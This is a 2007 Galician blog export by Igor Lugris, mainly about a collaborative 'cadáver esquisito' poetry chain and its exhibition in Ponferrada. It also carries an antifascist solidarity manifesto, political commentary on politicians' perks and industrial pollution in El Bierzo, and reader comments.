Parabens, vou comprar o material e indicar aos alunos.
att
Ines Artaxo
Chega-me polos correios electrónicos, um manifesto de solidariedade com as 4 pessoas que vam ser julgadas no próximo 26 de Abril, por terem pintado de cor de rosa a chamada "cruz dos caidos" do concelho de Neda, na comarca de Trasancos.
Mais abaixo podes ver, na integra, o manifesto. Quero fazer um apelo a todas as pessoas que lem este blog para que mostrem o seu apoio e solidariedade assinado o manifesto. Para isso, só tes que enviar um correio electrónico com os teus dados, nome, apelidos, número do Bilhete de Identidade, e profissom ou actividade que realizas, ou cargo da entidade à que pertences, a: antifascismogalegoarrobagmail.com (lembre de mudar a arroba polo símbolo correspondente).
Participa! Colabora! Encaminha o manifesto aos teus contactos.
Pola retirada dos símbolos franquistas e contra o julgamento de quem os retira
As pessoas e entidades abaixo assinadas queremos fazer pública a nossa repulsa ao julgamento, no próximo 26 de Abril, imposto a Maurício Castro Lopes, Carlos Garcia Seoane, Bruno Lopes Teixeiro e Daniel Lourenço Mirom, por terem pintado de cor de rosa a chamada "cruz dos caídos" do concelho de Neda. A acçom simbólica realizada polos quatro integrantes de NÓS-Unidade Popular inscreve-se numha campanha de denúncia contra a permanência de todo o tipo de símbolos da ditadura franquista em toda a Galiza.
Como tal, a sua acçom é digna de reconhecimento pola sua natureza democrática e antifascista, sendo especialmente rechaçável que seja um concelho governado polo PSOE e IU, que já em duas ocasions aprovou e incumpriu a retirada dos símbolos franquistas, o artífice da denúncia.
Por todo o dito, queremos solidarizar-nos e reclamar a livre absoluçom dos quatro companheiros, vizinhos da nossa comarca, e a imediata retirada desse e de todos os demais símbolos do franquismo que ainda subsistem nos edifícios e espaços públicos da Galiza.
Podes encaminhar o teu apoio ao correio-e: antifascismogalego@gmail.com
Primeir@s assinantes e impulsionadores/as da iniciativa
Eliseo Fernández Fernández, Historiador e membro da Comissom Ferrolterra a nossa Memória .
Xesus Anxo López Pintos, Secretário Comarcal da CIG em Trasancos.
Bernardo Maiz Vázquez, Historiador e membro da Comissom Ferrolterra a nossa Memória.
----- COMMENT: AUTHOR: ocorral [Membro] DATE: Mon, 30 Apr 2007 08:52:27 +0000 URL:Castigam aos livres e ensalçam a barbarié. O nacional catolicismo segue na seiva do novo Régimem.
Corral
----- -------- AUTHOR: Lugris TITLE: O teu parlamento nom é móvel? Pois troca-o! BASENAME: o_teu_parlamento_nom_e_mobil_pois_cambia DATE: Thu, 19 Apr 2007 22:35:38 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por aí CATEGORY: Stop hipocrisia! TAGS: ----- BODY:"O BNG pede à Junta que exija a implantaçom do galego nos telemóveis". Pudestes ler o titular em praticamente toda a imprensa nestes dias. Umha iniciativa do parlamentar do BNG Bieito Lobeira, para que a Junta inste às empresas de telefonia móvel a que incluam a nossa língua tanto nas opçons dos terminais como no serviço de atendimento ao cliente.
Nom serei eu que fale contra a presença da nossa língua nos telemóveis. O meu, já agora, está integramente na nossa língua porque, no menu "escolher idioma", optei por escolher a possibilidade "português", que é como internacionalmente se conhece a nossa língua, a língua galega. Mas, ainda que o Bieito Lobeira nom seja reintegracionista, poderia reconhecer (e com ele outras muitas pessoas), que escolhendo a opçom português, umha parte do problema está solucionado. Porque, contrariamente ao que se poder pensar, a nossa língua está presente nas novas tecnologias.
Mas nom pretendia falar disso. Nem queria falar da ideia de elaborar (por Lei da Junta?), um dicionário de termos SMS em galego, ideia extremamente peregrina.
O que mais me chama atençom deste tema é umha questom que aparece nas notícias que dérom os meios. Polos vistos, o Bieito Lobeira criticou que (e cito segundo a notícia aparecida em Vieiros) "nos aparelhos que se empregam no Parlamento nom há opçom do idioma do país nem do português".
O El Pais explicava melhor a questom: "en los aparatos que se emplean en el Parlamento [los teléfonos móviles que se les entregan a los diputados para su actividad política] no hay ni la opción en nuestro idioma ni en portugués".
Isto é incrível! Agora resulta que o Parlamento (quer dizer, todas e todos os galegos residentes na CAG, que som os que com os seus impostos pagam, entre outras cousas, os gastos do parlamentinho de cartom), também fornece de telemóveis aos parlamentares. Telemóveis de graça! Para a sua actividade política, claro. Claro, claro. Com certeza.
E como é isso? No final do mês, a presidenta do Parlamento revisa as facturas e controla os números de telefone para ver se alguém o empregou para actividades que nada tinham a ver com a sua condiçom de parlamentar?
Nestes momentos, o salário de um/ha parlamentar galego/a situa-se nos 53.000 euros. E daí para cima, tendo em conta que há que acrescentar a essa quantidade a cobrança de ajudas de custo, assistência a comissons, portavozias, e um longo etc. E ainda assim, com 53.000 euros anuais, precisam de que entre todos/as lhes paguemos o telemóvel? Parece de risa, mas é um assunto sério.
É um exemplo, um claro exemplo, da classe política que temos, e do sistema político que sofremos. Nestes momentos, o Salário Mínimo Interprofesional situa-se nos 7.572,60 euros anuais (540,90 mensais). Quantas vezes tés que multiplicar essa quantidade para chegar aos 53.000 euros de Bieito Lobeira e cia.? Como é possível que nom lhes caia a cara de vergonha?
----- -------- AUTHOR: Lugris TITLE: Cadáver #31 BASENAME: cadaver_31 DATE: Thu, 19 Apr 2007 21:59:32 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por aí CATEGORY: TAGS: ----- BODY:Há umha certa luz incompreensível na distáncia
unha palabra afogada un sinal ou desexo
a noite non esgota o seu fulgor metálico
cando o eu colectivo suplía aquel pasado inefable
indefinible, que permanece inalterable
Igor Lugris
eduardo estévez
elvira riveiro tobío
rosanegra
Cruz Martínez
Há umha certa luz incompreensível na distáncia
unha palabra afogada un sinal ou desexo
que chama por nós en peiraos neboentos
que enche as nosas bocas co agre da desfeita
há um arco-íris morto no interior de um búzio vermelho
O grito da distáncia rabunha o horizonte
e nós, ciscados coma cunchas nunha praia,
coma como sen comas, a ferver,
quizais á noite me atreva a ler a túa carta
a lamberme coa túa lingua de sal
A distancia comeza os parágrafos do adeus
esta-nos a medrar a neve nas mans
podémonos declarar en folga, cantarlles aos paxaros
ou emulalos e seguir á espreita de novas primaveras revolucionarias
que principien agora sen distancia nas mans provenzais dos labores antigos
Igor Lugris
eduardo estévez
mario regueira
elvira riveiro tobío
Xavier Vásquez Freire
Ramiro Vidal Alvarinho
Mario Regueira (bis)
Daniel Salgado
Xiana Arias
Lorena Souto
David Pobra
Isaac Lourido
María do Cebreiro
Xabier Paradelo
Amauta Castro
Lembro que quando era, mais, pequeno, havia umha pintada perto do meu liceu, em Compostela, que dizia, textualmente: "Folha em galego".
É o que têm isto das novas tecnologías: permite avançar muito em pouco tempo. A normalizaçom lingüística (e cunilingüística) também chega a este campo inexplorado da existência humana.
----- COMMENT: AUTHOR: asminhasmulleres [Visitante] DATE: Wed, 18 Apr 2007 18:21:36 +0000 URL: http://asminhasmulleres.wordpress.com/Era parte da miña intención.
Grazas pola referenza.
----- -------- AUTHOR: Lugris TITLE: Cadáver #52 BASENAME: cadaver_52 DATE: Tue, 17 Apr 2007 23:23:13 +0000 STATUS: publish PRIMARY CATEGORY: Um cadáver na rede CATEGORY: TAGS: ----- BODY:Há umha certa luz incompreensível na distáncia
unha palabra afogada un sinal ou desexo
que chama por nós en peiraos neboentos
que enche as nosas bocas co agre da desfeita
há um arco-íris morto no interior de um búzio vermelho
O grito da distáncia rabunha o horizonte
e nós, ciscados coma cunchas nunha praia
acoitelamos os pés dos bañistas (a traición)
poucos detalles de interese. a poboación é rica, pódense envexar os seus luxos
as súas sedas, o branco dos pulsos entre os puños de encaixe. As veas azuis.
Igor Lugris
eduardo estévez
mario regueira
elvira riveiro tobío
Xavier Vásquez Freire
Ramiro Vidal Alvarinho
Mario Regueira
Iria Veiga
Arsenio Iglesias Pazos
Iria Veiga
Há umha certa luz incompreensível na distáncia
Sen risco na loita, non hai gloria na vitoria
Igor Lugris
Iván Alonso
Há umha certa luz incompreensível na distáncia
Semella un alvor chegado doutro mundo
umha mensagem do interior das palavras e a língua
um gatilho de sílabas usadas
a reviver a morte dos silêncios esquecidos
a percorrer no branco espaço o espelho côncavo da memória
Mas, o verso racional obscureceu o intenso desejo sentimental.
Descifra-os na pálida manhã de abril
Quando a chuva arranque as suas cores ao sol
Permita-me ver ao solo as folhas do outono
Igor Lugris
Xavier Queipo
Igor Lugris
Eugénio Outeiro
Concha Rousia
João Vasco Henriques
Paulo Marcelo Braga
Solange Durães
Concha Rousia
Cláudia Gonçalves
Há umha certa luz incompreensível na distáncia
semella un alvor chegado doutro mundo
umha mensagem do interior das palavras e a língua
um gatilho de sílabas usadas
bandullo cheo e farrapo de gaitas
demasiada realidade para sonhos e jogos
uma luz que ilumina as pessoas namoradas
com um rouco som de liberdade
som dos sonhos; linguas e silabas,
som da lus do lume... da terra
Igor Lugris
Xavier Queipo
Igor Lugris
Eugénio Outeiro
Marcos Nine
Eugénio Outeiro
Além da Veiga
Alba Carvalhesa
Xiàn Camanho
Gonzalo Pais Beiro
Há umha certa luz incompreensível na distáncia
unha palabra afogada un sinal ou desexo
a noite non esgota o seu fulgor metálico
nin pensa que o mencer será un abismo
Igor Lugris
eduardo estévez
elvira riveiro tobío
alberto lema
Há umha certa luz incompreensível na distáncia
como umha porta de cristal fechada
uma palavra no abismo da língua
tócate, sen sabelo, esvara
o conto é decidir cando acabar
un home do sur preguntoulle se quería viaxar
e ela considerou pasos cegos e desertos
Avanzou en círculos, até os límites da súa propia sombra
nunha espiral imposible, sen comezo nen destino
onde si poderia construir com as pedras do caminho
o jeito tatexante e incerto de alumeala
Igor Lugris
Eugénio Outeiro
Oscar Mourave
lara do ar
María do Cebreiro
Xiana Arias
Eduardo Estévez
Tati Mancebo
Ester Vázquez
Gonzalo Mitchell
Brais Mel
Há umha certa luz incompreensível na distáncia
unha palabra afogada un sinal ou desexo
a noite non esgota o seu fulgor metálico
e aquí enfronte do espelho tam só existe o silenzo
Igor Lugris
eduardo estévez
elvira riveiro tobío
lara bacelo
Há umha certa luz incompreensível na distáncia
Semella un alvor chegado doutro mundo
umha mensagem do interior das palavras e a língua
um gatilho de sílabas usadas
a reviver a morte dos silêncios esquecidos
e o louco caminho das inquedanças
Tem um certo desespero oculto
unha mirada negra con transparencias de ágata
Igor Lugris
Xavier Queipo
Igor Lugris
Eugénio Outeiro
Concha Rousia
Igor Lugris
Emma Pedreira
Chelo Suárez
Todas aquelas autoridades, políticos e jornalistas que há umhas quantas semanas botavam as maos à cabeça e se escandalizavam pola proposta territorial que a esquerda independentista galega, representada por NÓS-UP, defendia com a ediçom do Mapa Comarcal da Galiza (em que se incluiam, claro é, os territórios galegos actualmente sob Administraçom asturiana e castelhano-leonesa), e que falavam em termos de ?anexionismo?, ?imperialismo?, ?ilegalidade?, ?falta de respeito?, etc..., nom parecem ter agora o mesmo interesse em seguir em a defender o território que antes viam amenaçado. Porém, a ameaça é agora real.
Tivo que ser umha associaçom ecologista, Ecologistas em Acçom, quem desse a voz de alarme, e anunciasse os graves perigos que supom a proposta da direcçom da empresa Cementos Cosmos (pertencente ao grupo português Cimpor) de começar a queimar resíduos na sua planta de Toral dos Vaos, no Berzo, e que apresentasse as primeiras alegaçons diante da Junta de Castela e Leom contra essa proposta.
Cementos Cosmos pretende que a Junta lhe conceda a autorizaçom que a converta em empresa gestora de resíduos, podendo assim empregar pneus, farinhas, gorduras animais, lodos de depuradora, plásticos e biomassa como combustíveis alternativos nos seus fornos de cimento, aumentando as emissons tóxicas, a elevando o grave risco de contaminaçom. A planta de Cementos Cosmos de Toral, junto à central de Endesa em Cubilhos, a planta de aceiro de Roldan, em Santo Tomas das Olhas, em Ponferrada, e a lixeira municipal desta cidade, som quatro grandes focos de contaminaçom no Berzo, e todas elas fam parte da lista das 150 empresas mais contaminantes de toda a Europa.
Ecologista em Acçom anuncia que as emissons de SO 2, Nox e CO incidirám negativamente sobre a populaçom do conjunto do Berzo, e nas actividades económicas, agrícolas, gadeiras, alimentares e o turismo.
Muito perto desta planta de Cementos Cosmos, existe ainda umha outra empresa, relacionada com a indústria extractiva, que está a ser investigada polas organizaçons ecologistas pola geraçom de grandes nuvens de fume em toda a zona envolvente.
----- -------- AUTHOR: Lugris TITLE: cadáver #53 BASENAME: cadaver_62 DATE: Tue, 03 Apr 2007 17:41:57 +0000 STATUS: publish PRIMARY CATEGORY: Um cadáver na rede CATEGORY: TAGS: ----- BODY:Há umha certa luz incompreensível na distáncia
como umha porta de cristal fechada
uma palavra no abismo da língua
ou uma papoila, talvez, de livro aberto
como dous olhos fechados fitando-me
E a interrogação surge:
O que desejas?
o silêncio abrange todo o espaço
Igual que as nuvens habitam o ceu
o espazo abrangue silencio e nubes
o baleiro espera a contracción da paisaxe
agredido pela beleza de outros
o arrepío da vexetación estremece as infinitas dunas da pel
cánto imaxinei os teus ollos mecánicos nacer desta liña
que me desdebuxa tipográfica
Igor Lugris
Eugénio Outeiro
Oscar Mourave
Eugénio Outeiro (Bis)
Miguel R. Penas
Oscar Mourave (Bis)
Débora Monnerat
Miguel R. Penas (Bis)
Igor Lugris (Bis)
Eduardo Estévez
Baldo Ramos
Xavier Queipo
Xoán Carlos Domínguez Alberte
Estíbaliz...Espinosa
Antía Otero
Lamentavelmente, nom contamos com mais que dous pequenos videos do recital da Expo Cadáver. Este é o segundo. Prometo nas próximas exposiçons estar mais atento ao tema audiovisual...
[youtube]7SMgRg3YNpk[/youtube]
----- -------- AUTHOR: Lugris TITLE: Expo Cadáver: o video (1) BASENAME: expo_cadaver_o_video_1 DATE: Mon, 02 Apr 2007 23:24:06 +0000 STATUS: publish PRIMARY CATEGORY: Um cadáver na rede CATEGORY: TAGS: ----- BODY:18 segundos nos que podemos ver e ouvir ao Ramiro Vidal a recitar, e umha pequena panorámica da Galeria com os Cadáveres expostos.
Nom nos vam dar um prémio ao melhor director, nem ao melhor produtor, mas é o que temos ; )
(Ainda haverá outros mais)
[youtube]BMf-_1Lr1Yo[/youtube].
----- -------- AUTHOR: Lugris TITLE: Fotos do Cadáver (e comentários da alegria posterior) BASENAME: fotos_do_cadaver_e_comentarios_da_alegri DATE: Mon, 02 Apr 2007 22:29:33 +0000 STATUS: publish PRIMARY CATEGORY: Um cadáver na rede CATEGORY: TAGS: ----- BODY:Nom se pode estar em misa e repenicando. Eu estivem a dizer misa nesta celebraçom do cadáver, assim que nom pudem estar a tirar as fotos, mas ainda assim temos fotos. Fotos do Cadáver.
Imos ver algumhas.
Umha foto da Concha Rousia a recitar. Nom se distingue, mas levava umha camisola com a imagem de Rosalia. Rosalia de Castro, claro é. E que se pode dizer às três, às quatro, às cinco da manham, quando estás a tomar limonadas e cervejas com as pessoas que resistirom até essas horas (a galerista incluida), escuitando umha música que devia ser tecno-industrial-trip-house com reminiscências cool-bass? Pois que se vai dizer: Viva a alegria! Viva Rosalia!
Umha foto do Ramiro. Foi ele quem nos explicou a curiosidade de andarmos "a matar judeus" (a tomar limonadas) mentres escuitávamos a versom original do Sweet Home Alabama no Jazz Machine quando ainda era cedo, e a noite começava.
Cruz Martinez e Rosanegra chegarom desde Vigo. Forom as primeiras a retirar-se. A sua porta verde, no sétimo andar, está aberta aguardando as vossas visitas.
Eu mesmo, andivem a servir vinho, a dizer misa e a outras cousas. Da noite, longa noite de selva, acústica, lembro que parecia que a música era a mesma, exactamente a mesma cançom, durante as duas ou três últimas horas. (Ainda assim, foi um descubrimento essa verson do "sweet dreams and melodys...")
Proximamente, mais fotos...
----- COMMENT: AUTHOR: Adilson [Visitante] DATE: Thu, 03 Feb 2011 15:56:04 +0000 URL: http://rimastruncadas.blogspot.com/Bela gente , bela terra ….abraços do Brasil
----- -------- AUTHOR: Lugris TITLE: O importante é estarmos vivos (Notícia da Expo Cadáver) BASENAME: o_importante_e_estarmos_vivos_noticia_da DATE: Mon, 02 Apr 2007 06:37:20 +0000 STATUS: publish PRIMARY CATEGORY: Um cadáver na rede CATEGORY: TAGS: ----- BODY:Finalmente, o Sábado 31 celebramos a Expo Cadáver.
Concha Roussia, Rosanegra, Cruz Martínez e Ramiro Vidal acompanharom-nos no recital-apresentaçom dos, por agora, 61 poemas, 61 cadáveres, que configuram a exposiçom.
Com música ambiente de Fanny e Alexander, Le Glamour Grotesque, Marful, Madredeus, Bajo Fondo Tango Club e Abe Rábade, e com a ausência, por problemas de última hora, de Xosé Constenla, às 20'30h. abrimos as portas da Galeria de Arte Dosmilvacas.arte de Ponferrada.
Várias dúzias de pessoas assistiram à inaguraçom da Expo Cadáver, e ao recital de poesia, no que, ademais, várias das pessoas assistentes participarom lendo alguns do Cadáveres esquisitos que estavam pendurados nas paredes.
El Mundo-La Crónica de León, publicava onte, Domingo 1 de Abril, umha notícia (com foto)e umha breve sobre a inauguraçom. Também foi recolhida a celebraçom da exposiçom por Canal 4 TV, e por Bierzo TV. Nesta última, podedes ver umha pequena reportagem, onde se recolhem imagens da Exposiçom e umha pequena entrevista (bilíngüe) que me figerom, entrando na ligaçom de "Exposiciones".
Bica de Trives (espectacularmente deliziosa), vinho do Bierzo e licor café de Compostela acompanharom-nos durante todo o acto, e as palavras das e dos poetas presentes figerom que a tarde-noite decorrera suave entre palavras, versos e poemas.
As celebraçons posteriores, entre limonadas, cervejas, e outras bebidas de mais alta graduaçom, e com a companhia da música dos bares que percorrimos em peregrinaçom (Jazz Machine, Gatera, Escandalera e Gato Pardo), durarom até as cinco da manham para os mais resistentes.
Nos próximos dias irei subindo algumhas das fotos do acto. Resta é agradecer a todas as pessoas que tenhem participado na elaboraçom desde Cadáver, aos e às poetas que asistirom (e aos que nom puderom asistir também), e a todas as pessoas que participarom na inauguraçom. Por suposto, agradecer especialmente à Galeria e à galerista, Reme, por ter apoiado entusiasticamente a ideia desde um princípio, e às pessoas que me ajudarom a fazer realidade esta proposta (muito especialmente a Fede, o sudaca, porque sem ele nom teriamos aberto às portas às 20'30h.) E agradecer também à Tradutores sem Fronteiras, que figerom a versom inglesa do texto de apresentaçom.
Agora, a intençom é que a Expo Cadáver visite outras vilas, outras cidades, outras galerias e salas de exposiçons. Terei-vos informados/as.
Vemon-nos na rede!. Lemo-nos na literatura! Omnia sunt comuna.
----- COMMENT: AUTHOR: Alfredo Ferreiro [Visitante] DATE: Mon, 02 Apr 2007 21:26:44 +0000 URL: http://www.levantadordeminas.blogaliza.comBreve nota do evento n’O levantador de minas. Abraço.
----- COMMENT: AUTHOR: Alfredo Ferreiro [Visitante] DATE: Mon, 02 Apr 2007 20:59:20 +0000 URL: http://www.levantadordeminas.blogaliza.comParabéns por tamanho sucesso! É uma honra ter participado neste projecto. Ideias e factos deste teor é que contribuem para fazer cultura.
----- COMMENT: AUTHOR: Robert [Visitante] DATE: Mon, 02 Apr 2007 07:55:06 +0000 URL: http://www.begosantiago.blogspot.comOla! realmente un blog moi interesante.Gústame. Visitareivos con asiduidad.
Saúdos
Robert
----- -------- AUTHOR: Lugris TITLE: BASENAME: title_198 DATE: Fri, 30 Mar 2007 22:41:42 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por aí CATEGORY: TAGS: ----- BODY:Há umha certa luz incompreensível na distáncia
Semella un alvor chegado doutro mundo
umha mensagem do interior das palavras e a língua
um gatilho de sílabas usadas
a reviver a morte dos silêncios esquecidos
e o louco caminho das inquedanças
Tem um certo desespero oculto
unha mirada negra con transparencias de ágata
Igor Lugris
Xavier Queipo
Igor Lugris
Eugénio Outeiro
Concha Rousia
Igor Lugris
Emma Pedreira
Chelo Suárez
A notícia da Expo Cadáver também saiu publicada hoje, em breves, no diário El Mundo-La Crónica de Leom (propriedade de Martinez Nuñez), e figerom umha notícia em Rádio Bierzo-Cadena Ser, onde me entrevistarom, para o seu magazine da tarde.
Isto dos meios de comunicaçom no Bierzo é curioso. Até o de agora, o Diário de Leom era do Grupo Voz, mas foi vendido há pouco, e quem o mercou? O propietário do Grupo Begar (construtora, imobiliária, empresas de "meio ambiente", serviços vários...). Tendo em conta que a outra grande construtora (Grupo Martínez Nuñez: Teconsa, Proinsa, La Estrella, GH Hoteis,...) é proprietária do Mundo-La Crónica, já voz fazedes umha ideia de como anda o pátio...
Há umha certa luz incompreensível na distáncia
Semella un alvor chegado doutro mundo
umha mensagem do interior das palavras e a língua
um gatilho de sílabas usadas
a reviver a morte dos silêncios esquecidos
a percorrer no branco espaço o espelho côncavo da memória
Mas, o verso racional obscureceu o intenso desejo sentimental.
Descifra-os na pálida manhã de abril
Quando a chuva arranque as suas cores ao sol
Na sinfonia harmônica dessa mistura
de cores e sons surge o inesperado:
acende a luz da memória quase apagada
com o ardor desse desejo oculto, mas
aplacado com a chegada do arco-íris
num côncavo colorido e iluminado,
apontando a direção do novo...
Do inusitado... Do quase nada...
Igor Lugris
Xavier Queipo
Igor Lugris
Eugénio Outeiro
Concha Rousia
João Vasco Henriques
Paulo Marcelo Braga
Solange Durães
Concha Rousia
Lilibeth Taucei
Para acompanhar as leituras dos Cadáveres, umha boa música.
----- -------- AUTHOR: Lugris TITLE: + Expo Cadáver nos meios BASENAME: expo_cadaver_nos_meios DATE: Fri, 30 Mar 2007 13:20:47 +0000 STATUS: publish PRIMARY CATEGORY: Um cadáver na rede CATEGORY: Cousas por cá TAGS: ----- BODY:Hoje, sai no Diário de Leom umha breve muito breve nota sobre a celebraçom da Expo Cadáver, junto com três ou quatro notícias mais. Lamentavelmete nom vos podo oferecer a ligaçom, porque ainda que a primeira hora da manham aparecia essa breve no seu web, agora, ao meiodia, já tirarom essa notícia da sua página, assim que só o poderedes ver na ediçom impresa.
----- -------- AUTHOR: Lugris TITLE: Cadaver #42 BASENAME: cadaver_42 DATE: Thu, 29 Mar 2007 21:58:17 +0000 STATUS: publish PRIMARY CATEGORY: Um cadáver na rede CATEGORY: TAGS: ----- BODY:Há umha certa luz incompreensível na distáncia
unha palabra afogada un sinal ou desexo
que chama por nós en peiraos neboentos
que encha as nosas bocas co agre da desfeita
Não há sentido certo. Há côncavas
visões onde distorcemos espélhos chorados
sem memória
apuramos o sopro, viramos o lente
non caemos, miramos para o chan
poo, panasco, lápida ? apousa os pés amodo
Igor Lugris
eduardo estévez
mario regueira
elvira riveiro tobío
Celso Álvarez Cáccamo
Eugénio Outeiro
Oscar Mourave
lara do ar
María do Cebreiro
Há umha certa luz incompreensível na distáncia,
unha palabra afogada un sinal ou desexo
que chama por nós en peiraos neboentos
coa voz desacougante e cálida das lumias
Se a liberdade aniña na flor de refugallo
Se remontamos temporal por entre a herba indiscutida
e nom ficamos cingidos nas estátuas do desalento
chegaremos a tempo a ver o desastre, e teremos onde decoser
Igor Lugris
eduardo estévez
Mario Regueira
Gaspar Domínguez
elvira riveiro tobío
Oscar Antón Pérez
manuelanxo
joao
Há umha certa luz incompreensível na distáncia
unha palabra afogada un sinal ou desexo
que chama por nós en peiraos neboentos.
É a solidificaçom da metáfora, a imposiçom da verdade
unhas mans novas onde aplicar a lima
encarnadas ou negras as unllas, de sangue ou de terra
de sangue vivo ou terra morta
que reclamam o seu território e o seu horário
que moldeam constantes a matriz da dor
num imaginario desenho de futuros incertos
que som as paredes de este armario
desenhos outros na alma
Igor Lugris
eduardo estévez
Mario Regueira
Marcos Abalde Covelo
Xiana Arias
O Leo
Lara Rozados
Igor Lugris
Ramiro Vidal Alvarinho
Concha Rousia
Artur Alonso
Os últimos preparativos da Expo Cadáver coincidem com as primeiras limonadas. No Bierzo, para além de existir as frutas da época, ou as verduras da época, também existem as bebidas da época: e na época das férias de Primavera (chamadas polos integristas católicos, Semana Santa), a bebida da época no Bierzo é a limonada. É importante nom confundir esta bebida com nada que tenha a ver com zume de limom.
A limonada ven sendo umha cousa assim como a "sangria", feita com vinho. Imagino-me eu que os inícios deste costume de tomar limonada serám a necessidade de se desfazer do vinho da colheita passada, para ficar só com o da colheita mais recente, na espera de setembro para começar novamente o ciclo do vinho.
A questom é que o Biezo todo, e Ponferrada especialmente, está cheio de bares, cafetarias, pubs, bodegas, restaurantes, e até discotecas que anunciam "Temos limonada". O tradicional nestes dias nom é ir tomar vinhos ou cervejas, mas limonadas.
E, por certo, este costume de ir de limonadas chama-se, popularmente, "ir matar judeus" (digo eu que será polo da "Semana Santa"). Assim que aproveito para convidar mais umha vez a todo o mundo a participar na Expo Cadáver deste sábado, e a conhecer as limonadas do Bierzo, nestas datas nas que os fundamentalistas cristaos celebram nom-sei-muito-bem-o-quê relacionado com um cadáver.
hehehe…matar judeus…enfim, espero que o pessoal nom se meta demasiado no papel, nom vaia ser o demo…
----- -------- AUTHOR: Lugris TITLE: Cadáver #2 BASENAME: cadaver_2 DATE: Thu, 29 Mar 2007 21:31:07 +0000 STATUS: publish PRIMARY CATEGORY: Um cadáver na rede CATEGORY: TAGS: ----- BODY:Há umha certa luz incompreensível na distáncia
como umha porta de cristal fechada
uma palavra no abismo da língua
ou uma papoila, talvez, de livro aberto
como dous olhos fechados fitando-me
E a interrogação surge:
O que desejas?
o silêncio abrange todo o espaço
Igual que as nuvens habitam o ceu
o espazo abrangue silencio e nubes
o baleiro espera a contracción da paisaxe
Igor Lugris
Eugénio Outeiro
Oscar Mourave
Eugénio Outeiro
Miguel R. Penas
Oscar Mourave
Débora Monnerat
Miguel R. Penas
Igor Lugris
Eduardo Estévez
Baldo Ramos
Há umha certa luz incompreensível na distáncia
como umha porta de cristal fechada
uma palavra no abismo da língua
tócate, sen sabelo, esvara
o conto é decidir cando acabar
un home do sur preguntoulle se quería viaxar
ao lugar onde o seu nome significase "flor da cerdeira"
toda agricultura modifica o entorno
toda gramática prescribe no lugar da floración
e a viaxe imaxinada devén gramática do abismo
Não sei porque parei junto da margem
Igor Lugris
Eugénio Outeiro
Oscar Mourave
lara do ar
María do Cebreiro
Xiana Arias
Mario Regueira
Arsenio Iglesias Pazos
Baldo Ramos
eduardo estévez
José Carlos Soares
Antonte fum entrevistado pola rádio municipal de Fene a propósito dos cadáveres e da Expo Cadáver. Esta experiência está a ter umha boa acolhida polos meios, ainda que chama a atençom o facto de que alguns meios, presumivelmente mais interesados, ou a priori mais interesados, nom fagam mençom dela. Mágoa.
----- -------- AUTHOR: Lugris TITLE: Cadáver #20 BASENAME: title_197 DATE: Wed, 28 Mar 2007 06:32:59 +0000 STATUS: publish PRIMARY CATEGORY: Um cadáver na rede CATEGORY: TAGS: ----- BODY:Há umha certa luz incompreensível na distáncia
unha palabra afogada un sinal ou desexo
que chama por nós en peiraos neboentos
que enche as nosas bocas co agre da desfeita
há um arco-íris morto no interior de um búzio vermelho
O grito da distáncia rabunha o horizonte
arrombado em ecos de tragédia
naufraga num oceano agónico
Igor Lugris
eduardo estévez
mario regueira
elvira riveiro tobío
Xavier Vásquez Freire
Ramiro Vidal Alvarinho
Miguel Vento
Ramiro Vidal Alvarinho
Há umha certa luz incompreensível na distáncia
como umha porta de cristal fechada
apenas pelas pegadas de tantos dedos, em pé
acredito na sua condição silenciosa
e como a formiga no carreiro, apenas... mudem de rumbo!!
ata outro mar estranxeiro
insomne nun mundo inmóbil
no que só se escoitaba o tempo, que pasaba
ténue e quedo
adormecida no regazo cálido que lhe oferecerom
escoitando o zoar dos ventos do seu respirar
Igor Lugris
Eugénio Outeiro
Paulo Cundins
Noémia Tato
Antia Cortiças
Brais Gutiérrez
Cibrán Rios
Sol Robleda
Pablo Gago
Sarai Fernandes Marquês
Manoel Outeiro
Hoje, o "Galicia Hoxe" recolhe a notícia da existência e boa saúde do cadáver.
Mais propaganda e agitaçom para a Expo Cadáver.
Há umha certa luz incompreensível na distáncia
e sonhos que se perdem aguardando outra alvorada
Igor Lugris
Artur Alonso Novelhe
Há umha certa luz incompreensível na distáncia,
unha palabra afogada un sinal ou desexo
que chama por nós en peiraos neboentos
coa voz desacougante e cálida das lumias
Se a liberdade aniña na flor de refugallo
press m and move the mouse
Igor Lugris
eduardo estévez
Mario Regueira
Gaspar Domínguez
elvira riveiro tobío
Oriana Méndez
Mentras subo este cadáver à rede, escuito boa música.
----- COMMENT: AUTHOR: igor [Membro] DATE: Mon, 26 Mar 2007 12:56:47 +0000 URL:Nom é inglês, oh!, é umha licença poética ; )
----- COMMENT: AUTHOR: Mais um galego [Visitante] DATE: Mon, 26 Mar 2007 09:29:58 +0000 URL:Mas as “bases” do cadáver só permitiam o uso do Português e aqui usa-se o Inglês. Uih uih uih :-)
----- -------- AUTHOR: Lugris TITLE: Cadaver #1 BASENAME: cadaver_1 DATE: Sun, 25 Mar 2007 20:43:06 +0000 STATUS: publish PRIMARY CATEGORY: Um cadáver na rede CATEGORY: TAGS: ----- BODY:Há umha certa luz incompreensível na distáncia
unha palabra afogada un sinal ou desexo
a noite non esgota o seu fulgor metálico
naceu um acivro debaixo da minha cama
Igor Lugris
eduardo estévez
elvira riveiro tobío
séchu sende
Poesia.
Musical e com imagens, mas poesia.
Nem sei se pura ou contaminada, mas poesia.
Nom será publicada em livro, nom terá ISBN e nom falaram dela os críticos, mas poesia.
A luta continua, sem dúvida. Nada tem muito significado. Entrar na regueifa sempre é agradável.
(E, a maiores, mais que nada)
Mais um cadáver, por agora o último que me chegou.
Na quinta-feira passada, a Maria do Cebreiro e mais a Ana Romaní falarom da nossa criatura no Diário Cultural.
Mais agit-prop para o cadáver e para a Expo Cadáver. Muito obrigado, pola parte que me toca.
Há umha certa luz incompreensível na distáncia
unha palabra afogada un sinal ou desexo
que chama por nós en peiraos neboentos.
É a solidificaçom da metáfora, a imposiçom da verdade
unhas mans novas onde aplicar a lima
encarnadas ou negras as unllas, de sangue ou de terra
de sangue vivo ou terra morta
que reclamam o seu território e o seu horário
para fugir dum tempo alheio a (des)andar
covas sem nome
e homens tam só palavra
Igor Lugris
eduardo estévez
Mario Regueira
Marcos Abalde Covelo
Xiana Arias
O Leo
Lara Rozados
Igor Lugris
Concha Rousia
Artur Alonso
Publicamos nota divulgativa de projecto cadavérico n’O levantador de minas (http://olevantadordeminas.blogaliza.org/). Abraço .
